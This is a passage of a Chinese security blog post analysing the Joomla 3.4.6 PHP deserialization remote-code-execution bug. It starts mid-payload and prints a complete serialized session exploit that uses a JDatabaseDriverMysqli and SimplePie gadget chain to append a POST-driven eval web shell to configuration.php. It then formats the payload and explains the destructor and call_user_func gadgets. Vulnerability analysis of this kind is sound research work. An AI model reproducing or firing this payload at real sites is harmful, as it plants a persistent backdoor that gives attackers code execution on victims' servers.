$a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
//正常的数据
__default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}}

可以看到和正常数据不同的地方的后面也有很多类似函数的参数,把上面的格式化一下

__default|
a:8:
{
s:15:"session.counter";
i:3;
s:19:"session.timer.start";
i:1588261345;
s:18:"session.timer.last";
i:1588261347;
s:17:"session.timer.now";
i:1588261570;
s:8:"registry";
O:24:"Joomla\Registry\Registry":2:
{
 s:7:"\0\0\0data";
 O:8:"stdClass":1:
 {
   s:5:"users";
   O:8:"stdClass":1:
   {
     s:5:"login";
     O:8:"stdClass":1:
     {
       s:4:"form";
       O:8:"stdClass":2:
       {
         s:4:"data";
         a:5:
         {
           s:6:"return";s:39:"index.php?option=com_users&view=profile";
           s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
           s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";
           s:9:"secretkey";s:0:"";
           s:8:"remember";i:0;
         }
         s:6:"return";
         s:39:"index.php?option=com_users&view=profile";
       }
     }
   }
 }
 s:9:"separator";
 s:1:".";
}
s:4:"user";
O:5:"JUser":26:
{
 s:9:"\0\0\0isRoot";N;
 s:2:"id";i:0;
 s:4:"name";N;
 s:8:"username";N;
 s:5:"email";N;
 s:8:"password";N;
 s:14:"password_clear";s:0:"";
 s:5:"block";N;
 s:9:"sendEmail";i:0;
 s:12:"registerDate";N;
 s:13:"lastvisitDate";N;
 s:10:"activation";N;
 s:6:"params";N;
 s:6:"groups";a:1:{i:0;s:1:"9";}
 s:5:"guest";i:1;
 s:13:"lastResetTime";N;
 s:10:"resetCount";N;
 s:12:"requireReset";N;
 s:10:"\0\0\0_params";
 O:24:"Joomla\Registry\Registry":2:
 {
   s:7:"\0\0\0data";
   O:8:"stdClass":0:{}
   s:9:"separator";s:1:".";
 }
 s:14:"\0\0\0_authGroups";N;
 s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}
 s:15:"\0\0\0_authActions";N;
 s:12:"\0\0\0_errorMsg";N;
 s:13:"\0\0\0userHelper";
 O:18:"JUserWrapperHelper":0:{}
 s:10:"\0\0\0_errors";a:0:{}
 s:3:"aid";i:0;
}
s:13:"session.token";
s:32:"878c42d725cd32dcc52aa2ca0c848ded";
s:17:"application.queue";
a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}

Services 一文中给出所有的字母标示及其含义:

a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string

在其中的";s:8:"password";s:603:"AAA长度为27,正好为构造的payload,经过read函数的替换之后变为

图片.png

之后经过一个303跳转,请求index.php/component/users/?view=login从新调用read()函数,触发payload

这里的password字段被替换为一个类

查看libraries/joomla/database/driver/mysqli.php中206行

public function __destruct()
{
    $this->disconnect();
}
public function disconnect()
{
    // Close the connection.
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }
        mysqli_close($this->connection);
    }
    $this->connection = null;
}

存在一个call_user_func_array函数,但是这里面的&$this是我们不可控的,所以需要取寻找另一个利用点,新调用一个对象,在libraries/simplepie/simplepie.php中

图片.png

这里simplepie是没有定义的,所以需要`new JSimplepieFactory()`,并且在SimplePie类中,需要满足`if ($this->cache && $parsed_feed_url['scheme'] !== '')`才能调用下面的`call_user_func`,并且为了满足能够实现函数使用,需要$cache = call\_user\_func(array($this->cache\_class, 'create'), $this->cache\_location, call\_user\_func($this->cache\_name\_function, $this->feed\_url), 'spc');中的cache_name_function和feed_url为我们的函数和命令

在这个序列化的过程中,我没有理解为什么要新new出来一个JDatabaseDriverMysql对象,这个对象`extends`JDatabaseDriverMysqli,难道是为了再调用JDatabaseDriverMysqli中的方法么,如果有大佬知道的话,欢迎留言评论

参考文章

https://xz.aliyun.com/t/6522

https://www.freebuf.com/vuls/216130.html

https://blog.csdn.net/qq_43645782/article/details/105801796

MS08067实验室官网:www.ms08067.com

公众号:" Ms08067安全实验室"

Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门

最后期待各位小伙伴的加入!

# php反序列化漏洞 # RCE漏洞 # Joomla3.4.6
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 MS08067安全实验室 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
MS08067安全实验室 LV.6
Ms08067安全实验室
  • 77 文章数
  • 79 关注者
跨域攻击分析和防御(中)
2024-04-15
跨域攻击分析和防御(上)
2024-04-03
kerberos-MS14-068(kerberos域用户提权)
2024-04-02
文章目录